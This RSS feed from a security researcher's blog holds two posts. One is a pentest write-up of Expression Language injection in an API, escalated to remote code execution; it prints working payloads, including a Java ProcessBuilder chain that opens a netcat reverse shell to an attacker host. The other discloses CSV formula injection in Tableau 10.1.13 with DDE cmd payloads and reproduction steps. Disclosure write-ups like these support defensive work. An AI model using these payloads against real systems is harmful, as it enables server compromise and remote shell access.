<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Aakash Shukla]]></title><description><![CDATA[Ethical Hacker || Adventure Seeker || Open Water Licensed Scuba Diver || Traveler || Singer]]></description><link>https://akashshukla.in/</link><image><url>http://akashshukla.in/favicon.png</url><title>Aakash Shukla</title><link>https://akashshukla.in/</link></image><generator>Ghost 3.1</generator><lastBuildDate>Sat, 02 May 2026 12:16:48 GMT</lastBuildDate><atom:link href="https://akashshukla.in/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[RCE with Expression Language (EL) Injection in API]]></title><description><![CDATA[<p>In one of the recent Pentest, I was testing APIs and came across this fancy vulnerability name Expression Language (EL) Injection reported by Burpsuite (Thanks to portswigger for making this beautiful tool) </p><p>Read more about EL Injection <a href="https://portswigger.net/kb/issues/00100f20_expression-language-injection">here</a></p><p>So I injected payload <strong>${\"HOLA\".toString().replace(\"L\", \"G\")}</strong> (reported by Burp)</p>]]></description><link>https://akashshukla.in/2019/04/10/rce-with-expression-language-injection-in-api/</link><guid isPermaLink="false">5cae2f300eab5e05540d4782</guid><category><![CDATA[Vulnerability]]></category><category><![CDATA[Remote Code Execution]]></category><category><![CDATA[Template Injection]]></category><category><![CDATA[Exploit]]></category><category><![CDATA[Akash Shukla]]></category><category><![CDATA[AWS]]></category><category><![CDATA[API]]></category><dc:creator><![CDATA[Akash Shukla]]></dc:creator><pubDate>Wed, 10 Apr 2019 18:09:27 GMT</pubDate><content:encoded><![CDATA[<p>In one of the recent Pentest, I was testing APIs and came across this fancy vulnerability name Expression Language (EL) Injection reported by Burpsuite (Thanks to portswigger for making this beautiful tool) </p><p>Read more about EL Injection <a href="https://portswigger.net/kb/issues/00100f20_expression-language-injection">here</a></p><p>So I injected payload <strong>${\"HOLA\".toString().replace(\"L\", \"G\")}</strong> (reported by Burp) in timestamp parameter which will simply replace the alphabet <strong>“L”</strong>with <strong>“G”</strong> from word <strong>HOLA</strong> &amp; got word <strong>HOGA</strong> in API’s error response as shown in below figure</p><figure class="kg-card kg-image-card"><img src="http://akashshukla.in/content/images/2019/04/image.png" class="kg-image"></figure><p>Above figure shows that our little code actually executed at server-side and gave us the response. It was the time to figure out to which language this code belonged to and I came to know that it has something to do with Java.</p><p>So, I tried another payload <strong>${1337*1337} </strong>that did simple multiplication and gave us result 1787569 in error response. Hmmm so basically this vulnerability can at least help us do our Math homework :P</p><figure class="kg-card kg-image-card"><img src="http://akashshukla.in/content/images/2019/04/image-1.png" class="kg-image"></figure><p>I referred  beautiful article written about <a href="https://portswigger.net/blog/server-side-template-injection">Server-Side Template Injection</a> by portswigger and followed the article to figure out the template engine in order to exploit the vulnerability further but unfortunately it end-up telling us that either its not vulnerable or unknown template engine is being used as none of the payloads worked after the first payload mentioned in below figure </p><figure class="kg-card kg-image-card"><img src="http://akashshukla.in/content/images/2019/04/image-2.png" class="kg-image"></figure><p>I spent a day to figure out a way to exploit this bug but no luck. Hmmm, so I needed an expert advice on this bug and to exploit it, the coffee was very much needed 😊So, I requested my colleague who is an awesome programmer turned security person turned awesome bug bounty hunter Anurag to take a look of this bug and help in exploiting it further.</p><p>He took his own sweet time and managed to call various java methods and figured out a way to invoke threads and running it and I knew its done the moment I heard word threads from him. We also came to know that it was javascript engine manager behind all of this.</p><figure class="kg-card kg-image-card"><img src="http://akashshukla.in/content/images/2019/04/image-3.png" class="kg-image"></figure><p>Also, thanks to this <a href="https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html">article</a> Anurag came across who also faced same kind of scenario and end-up performing RCE.</p><p>So, I got the payload crafted to first check if system commands are executing at server-side. So, I basically used Burp Collaborator to check if we are getting the response and we actually got the response validating that the system commands are executing</p><p><em>${'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"ping\\\",\\\"szvta3myzyhu8udxodgghh6hm8sygn.burpcollaborator.net\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}</em></p><figure class="kg-card kg-image-card"><img src="http://akashshukla.in/content/images/2019/04/image-4.png" class="kg-image"></figure><p>Now, its time to fire the API with our final payload to get a bash shell which we all love like anything 😊 So I turned on Netcat listener on port 443 on my VPS because the system we are targeting is a docker container on AWS &amp; allows outbound connection for port 80 &amp; 443 only.</p><figure class="kg-card kg-image-card"><img src="http://akashshukla.in/content/images/2019/04/image-5.png" class="kg-image"></figure><p><em>${'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"nc\\\",\\\"-nv\\\",\\\"&lt;Your-IP&gt;\\\",\\\"443\\\",\\\"-e\\\",\\\"/bin/bash\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}</em></p><figure class="kg-card kg-image-card"><img src="http://akashshukla.in/content/images/2019/04/image-6.png" class="kg-image"></figure><p>And here I got the shell as shown in below figure. I got lot of critical information that I cannot disclose here but you can understand what all things you can do once you get the shell 😉Below are the snapshot of some info:</p><figure class="kg-card kg-image-card"><img src="http://akashshukla.in/content/images/2019/04/image-7.png" class="kg-image"></figure><figure class="kg-card kg-image-card"><img src="http://akashshukla.in/content/images/2019/04/image-8.png" class="kg-image"></figure><p>So, it was lot of learning in performing remote code execution with expression language injection.</p><p> </p>]]></content:encoded></item><item><title><![CDATA[CSV Injection in Tableau Desktop & Server]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p><strong>Tableau Server Version: 10.1.13 (10100.17.1130.2000) 64-bit<br>
Tableau Desktop Version: 10.1.13 (10100.17.1130.2000) 64-bit</strong></p>
<p><img src="http://akashshukla.in/content/images/2018/06/tab.png" alt="tab"></p>
<p><strong>What is Tableau?</strong><br>
Tableau is groundbreaking data visualization software created by Tableau Software. Tableau connects easily to nearly any data source, be it corporate Data Warehouse, Microsoft Excel</p>]]></description><link>https://akashshukla.in/2018/06/03/csv-injection-in-tableau-desktop-server/</link><guid isPermaLink="false">5b140313e238510b0c4d0513</guid><category><![CDATA[CSV Injection]]></category><category><![CDATA[Tableau]]></category><category><![CDATA[TableauDesktop]]></category><category><![CDATA[TableauServer]]></category><category><![CDATA[Exploit]]></category><category><![CDATA[Vulnerability]]></category><category><![CDATA[Akash Shukla]]></category><category><![CDATA[daichitrojan]]></category><category><![CDATA[Ethical Hacker]]></category><category><![CDATA[Hacker]]></category><dc:creator><![CDATA[Akash Shukla]]></dc:creator><pubDate>Sun, 03 Jun 2018 15:24:17 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p><strong>Tableau Server Version: 10.1.13 (10100.17.1130.2000) 64-bit<br>
Tableau Desktop Version: 10.1.13 (10100.17.1130.2000) 64-bit</strong></p>
<p><img src="http://akashshukla.in/content/images/2018/06/tab.png" alt="tab"></p>
<p><strong>What is Tableau?</strong><br>
Tableau is groundbreaking data visualization software created by Tableau Software. Tableau connects easily to nearly any data source, be it corporate Data Warehouse, Microsoft Excel or web-based data. Tableau allows for instantaneous insight by transforming data into visually appealing, interactive visualizations called dashboards. This process takes only seconds or minutes rather than months or years, and is achieved by an easy to use drag-and-drop interface.</p>
<p><strong>What is Tableau Desktop &amp; Server?</strong><br>
All the development is done in Tableau Desktop. Here, we can create reports, charts, format them, putting them together as a dashboard all the is done on Tableau Desktop.<br>
Whereas, the dashboards created using Tableau Desktop are shared with other users using Tableau Server. When you publish a Dashboard to Tableau Server from Tableau Desktop, other users can access those Dashboards by logging on Tableau Server.<br>
As part of my research, I found Tableau Desktop &amp; Server vulnerable to CSV Injection attack.<br>
CSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files. When a spreadsheet program such as Microsoft Excel or LibreOffice Calc is used to open a CSV, any cells starting with '=' will be interpreted by the software as a formula. Maliciously crafted formulas can be used for compromising the computer remotely.<br>
<a href="https://payatu.com/csv-injection-basic-to-exploit/">Read Here</a> more about CSV Injection</p>
<p>Many of the companies including Google do not treat CSV Injection as a bug but expected behavior. However, scenarios could turn this “expected behavior” to “severe vulnerability” if target customers are the employees of top notch companies like <strong>Google, SpaceX, Adobe, Yahoo, Microsoft, Deloitte, Ernst &amp; Young, U.S. Bank</strong>, etc.<br>
Yes, above are the Tableau customers thus compromising any of the employee’s computer using CSV Injection could compromise sensitive data or compromise the whole corporate network.</p>
<p><strong>Reproduction Steps:</strong></p>
<ol>
<li>
<p>Create a normal excel file<br>
<img src="http://akashshukla.in/content/images/2018/06/1.png" alt="1"></p>
</li>
<li>
<p>Login into the Tableau Desktop and open the above excel<br>
<img src="http://akashshukla.in/content/images/2018/06/2.png" alt="2"><br>
<img src="http://akashshukla.in/content/images/2018/06/3.png" alt="3"></p>
</li>
<li>
<p>Change the values “A1” &amp; “B1” to payload “=cmd|’/C start iexplore www.malicioussite.com’ !’A2’” &amp; “=cmd|’/C start iexplore www.malicioussite.com’ !’A1’” respectively and publish it to the Tableau Server.<br>
<img src="http://akashshukla.in/content/images/2018/06/4.png" alt="4"><br>
<img src="http://akashshukla.in/content/images/2018/06/5.png" alt="5"><br>
<img src="http://akashshukla.in/content/images/2018/06/6.png" alt="6"></p>
</li>
<li>
<p>Login into the Tableau Server<br>
<img src="http://akashshukla.in/content/images/2018/06/7.png" alt="7"></p>
</li>
<li>
<p>Goto Tasks &gt; Open Any Worksheet listed &gt; Click Edit &gt; Create New Worksheet<br>
<img src="http://akashshukla.in/content/images/2018/06/8.1.png" alt="8.1"><br>
<img src="http://akashshukla.in/content/images/2018/06/8.png" alt="8"><br>
<img src="http://akashshukla.in/content/images/2018/06/9.png" alt="9"><br>
<img src="http://akashshukla.in/content/images/2018/06/10-1.png" alt="10-1"></p>
</li>
<li>
<p>Add a new data source and search for your published data. Add the data source into worksheet, double click the values and it will be added into the worksheet.<br>
<img src="http://akashshukla.in/content/images/2018/06/11.png" alt="11"><br>
<img src="http://akashshukla.in/content/images/2018/06/12.png" alt="12"></p>
</li>
<li>
<p>Now, download the worksheet as Crosstab and it will downloaded as CSV file<br>
<img src="http://akashshukla.in/content/images/2018/06/13.png" alt="13"></p>
</li>
<li>
<p>Open the CSV file, couple of warnings and the payload will execute opening the webpage URL put into the payload.<br>
<img src="http://akashshukla.in/content/images/2018/06/14.png" alt="14"><br>
<img src="http://akashshukla.in/content/images/2019/04/15.png" alt="15"><br>
<img src="http://akashshukla.in/content/images/2018/06/16.png" alt="16"></p>
</li>
</ol>
<p>Keeping in mind the top customers Tableau has, there is no space for even a little vulnerability as there is no patch for Human Stupidity &amp; one may ingore the warnings succeeding in executing the payload compromising the machine. However, it requires advance payload to bypass corporate level firewall &amp; antivirus.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>